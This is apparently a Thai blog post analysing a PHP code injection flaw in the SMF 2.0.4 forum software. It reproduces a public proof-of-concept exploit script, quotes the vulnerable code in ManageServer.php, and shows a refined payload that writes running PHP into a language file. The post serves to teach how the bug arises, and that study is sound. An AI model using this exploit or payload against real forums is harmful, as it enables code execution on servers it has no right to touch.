หน้าเว็บ

วันศุกร์ที่ 24 พฤษภาคม พ.ศ. 2556

In-Depth Analysis: SMF 2.0.4 PHP Code Injection


          สวัสดีครับ ห่างหายจากการเขียน Blog ไปนานเนื่องจากไปบวชทดแทนพระคุณพ่อแม่ครับเป็นเวลา 1 เดือน 3 วันที่วัดทองประดิษฐ์ :)
          เข้าเรื่องเลยคือช่วงระหว่างผมบวชทาง SMF ( Simple Machine Forum ) ซึ่งเป็น CMS Opensource ที่ใช้สร้างเว็บบอร์ดชื่อดังตัวนึง เกิดมีบัค PHP Code Injection ตอนนี้ก็ไม่ใช่บัคใหม่อะไรแล้วนะ ซึ่งบัคแบบนี้ถ้าไม่พูดถึงเรื่อง Admin Priv ผมคิดว่ามันเป็นบัคระดับ Critical เลยนะ มันน่าสนใจตรงที่ SMF 2.0.4 นี้ไม่ได้รั่วที่ Theme หรือ Plugin แต่รั่วที่ Core เลยซึ่งก็คือระบบหลักของตัว SMF 2.0.4 เอง
<?php

// proof of concept that latest SMF (2.0.4) can be exploited by php injection.

// payload code must escape from \', so you should try with something like that:
// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.
// For character_set - another story, as far as I remember, because here we have
// a nice stored xss. ;)

// 21/04/2013 
// http://HauntIT.blogspot.com

// to successfully exploit smf 2.0.4 we need correct admin's cookie:
$cookie = 'SMFCookie956=allCookiesHere';
$ch = curl_init('http://smf_2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english');

curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1); // send as POST (to 'On')
curl_setopt($ch, CURLOPT_POSTFIELDS, "character_set=en&locale=helloworld&dictionary=p0c\\';phpinfo();//&spelling=american&ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0&save_main=Save");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$page = curl_exec($ch);

echo 'PHP code:<br>'.$page;

curl_close($ch); // to close 'logged-in' part

?>
          ผมได้เห็นโค้ด Exploit ที่ใช้ยิงแล้วจึงเกิดความสงสัยว่า ทำไมมันถึงได้บัค จึงอยากจะโหลดมาแงะดู แต่ช่วงนั้นบวชอยู่ไม่สะดวกเลย :/
          ขั้นแรกก็ตามสเต๊ปครับเนื่องจากเป็น CMS Opensource ผมจึงเข้าไปโหลด SMF 2.0.4 มาจากเว็บหลักได้เลยตามนี้

http://mirror.ord.simplemachines.org/downloads/smf_2-0-4_install.zip

          เมื่อโหลดมาลงเสร็จเรียบร้อยแล้ว Login เป็น Admin เข้าไป ( Exploit นี้ Need admin privileges ) เพื่อใช้งาน Exploit ด้านบนครับ แต่เมื่อดูจากโค้ดแล้วผมจึงเข้าไปที่ลิงค์ตามนี้

http://localhost/smf2.0.4/index.php?action=admin;area=languages;sa=editlang;lid=english

ก็จะเห็นหน้าตาแบบนี้


          พอเห็นแบบนี้ผมจึงแงะ หาที่มาของบัคนี้ว่า ทำไมถึงบัคและเขียนยังไงถึงบัค จนมาพบกับโค้ดในไฟล์ Sources/ManageServer.php ( บรรทัดที่ 1344-1364 )

// Saving primary settings?
$madeSave = false;
if (!empty($_POST['save_main']) && !$current_file)
{
 checkSession();
  // Read in the current file.
 $current_data = implode('', file($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php'));
 // These are the replacements. old => new
 $replace_array = array(
  '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';',
  '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
  '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
  '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
  '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
 );
 $current_data = preg_replace(array_keys($replace_array), array_values($replace_array), $current_data);
 $fp = fopen($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php', 'w+');
 fwrite($fp, $current_data);
 fclose($fp);
  $madeSave = true;
}
สังเกตุว่าจะมีการรับค่า POST

addslashes($_POST['character_set']), addslashes($_POST['locale']), addslashes($_POST['dictionary']), addslashes($_POST['spelling'])

มาเขียนค่าในตัวแปร $current_data ลงไฟล์ php ลงไปด้วยฟังก์ชั่น fwrite ของ php จากบรรทัดที่ 1360
$current_data = preg_replace(array_keys($replace_array), array_values($replace_array), $current_data);
$fp = fopen($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php', 'w+');
fwrite($fp, $current_data);
fclose($fp);

โค้ดใน index.english.php เดิมจะเป็นแบบนี้ครับ

$txt['lang_locale'] = 'en_US';
$txt['lang_dictionary'] = 'en';
$txt['lang_spelling'] = 'american';

// Ensure you remember to use uppercase for character set strings.
$txt['lang_character_set'] = 'en';

ซึ่ง PHP Code ที่ Inject เข้าไปจะถูกเขียนไว้ที่

http://localhost/smf2.0.4/Themes/default/languages/index.english.php

          ซึ่งผมดูจาก Exploit Code แล้วจาก p0c\\';phpinfo();// ที่ทำให้ PHP Code ทำงานนั้นทำไมต้องมี '; เพราะจะได้ไปต่อกับโค้ดด้านในไฟล์ index.english.php


$txt['lang_locale'] = 'helloworld';
$txt['lang_dictionary'] = 'p0c\\\';phpinfo();//';
$txt['lang_spelling'] = 'american';

// Ensure you remember to use uppercase for character set strings.
$txt['lang_character_set'] = 'en';

          แต่จากที่ดู phpinfo(); ยังไม่ทำงานเพราะยังเป็น string ที่ถูกเก็บในตัวแปรอยู่ และตรง ce0361602df1=c6772abdb6d5e3f403bd65e3c3c2a2c0 จะไม่ตายตัว
          ผมจึงคิดว่า Exploit Code นี้ถ้าใครไม่รู้คงคิดว่าใช้งานไม่ได้ ผมจึงเติม * ไปด้านท้ายจะทำให้เป็น p0c\\\';phpinfo();//* ซึ่ง /* ก็คือ Comment แบบ Multi Line และ // เป็น Comment แบบ Single Line ในภาษา PHP นั้นเอง มันจะทำให้โค้ดด้านหลังไม่ถูกนำมาใช้งานหรือประมวลผลได้ครับผม


เมื่อกด save ไปแล้วก็เช่นเคยครับ โค้ด PHP จะถูกเขียนลงไปในไฟล์ index.english.php ที่บรรทัดที่ 11-16
$txt['lang_locale'] = 'helloworld';
$txt['lang_dictionary'] = 'p0c\\';phpinfo();//*';
$txt['lang_spelling'] = 'american';

// Ensure you remember to use uppercase for character set strings.
$txt['lang_character_set'] = 'en';

          จะเห็นได้ว่าโค้ดด้านหลัง /* จะเป็น Comment และ phpinfo(); ทำงานแล้ว หลายคนอาจจะสงสัยว่าทั้งที่ phpinfo(); ถูกเขียนไว้ใน index.english.php แล้วถูกเรียกมาทำงานได้อย่างไร


คำตอบอยู่ที่ไฟล์ที่บัคบรรทัดที่ 1368 ไฟล์ Sources/ManageServer.php ครับ

require($settings['default_theme_dir'] . '/languages/index.' . $context['lang_id'] . '.php');

          ซึ่งฟังก์ชั่น require ของ php นั้นจะรันโค้ด php ให้อยู่แล้วทำให้ phpinfo(); ที่อยู่ในไฟล์ index.english.php ทำงานครับ และเมื่อเข้าไปในลิงค์ตรงๆของไฟล์ index.english.php ที่ถูกเขียนผลลัพธ์ก็คือ :)

http://localhost/smf2.0.4/Themes/default/languages/index.english.php


          เรียบร้อยครับ แต่ทว่าบัคนี้ไม่ใช่จะเอาไปแฮกหรือยิง Exploit Code ใส่เว็บที่ใช้ SMF 2.0.4 กันได้ง่ายๆ เพราะต้องการสิทธิ์ Admin ต้องใช้ Cookie Admin เพื่อใช้งาน ซึ่งยากครับ
          ผมจึงนำมาเขียนเป็นบทความเพื่อเผยแพร่เป็นความรู้ให้แก่ผู้ที่ไม่ทราบ และผู้ที่ต้องการจะทราบครับ ขอบคุณครับ , ICheer_No0M

ปล. หลายคนรู้ว่ามันบัค.. แต่จะมีสักกี่คนที่รู้ว่า มันเขียนยังไงถึงได้บัค..
Ref : http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt

1 ความคิดเห็น: